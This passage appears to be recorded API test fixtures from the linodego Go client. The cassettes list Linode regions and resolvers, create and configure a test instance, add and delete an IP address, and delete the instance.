["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-137dninw93h7","firewall_id":1339169,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 68361109, "label": "go-test-ins-wo-disk-137dninw93h7", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.115.17"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "58b502ff98a4081434a97fe5a4f00bb7835d155c", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-n69rvyg8v263","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361109/configs method: POST response: body: '{"id": 71709953, "label": "go-test-conf-n69rvyg8v263", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361109/ips method: POST response: body: '{"address": "194.195.115.18", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-18.ip.linodeusercontent.com", "linode_id": 68361109, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "270" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361109/ips method: GET response: body: '{"ipv4": {"public": [{"address": "194.195.115.17", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-17.ip.linodeusercontent.com", "linode_id": 68361109, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}, {"address": "194.195.115.18", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-18.ip.linodeusercontent.com", "linode_id": 68361109, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}], "private": [], "shared": [], "reserved": [], "vpc": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 68361109, "region": "ap-west", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 68361109, "region": "ap-west", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361109/ips/194.195.115.18 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361109/ips method: GET response: body: '{"ipv4": {"public": [{"address": "194.195.115.17", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-17.ip.linodeusercontent.com", "linode_id": 68361109, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}], "private": [], "shared": [], "reserved": [], "vpc": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 68361109, "region": "ap-west", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 68361109, "region": "ap-west", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "819" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361109 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestIPAddress_Instance_ReserveIP_Assign.yaml000066400000000000000000001530461474652371000351340ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, 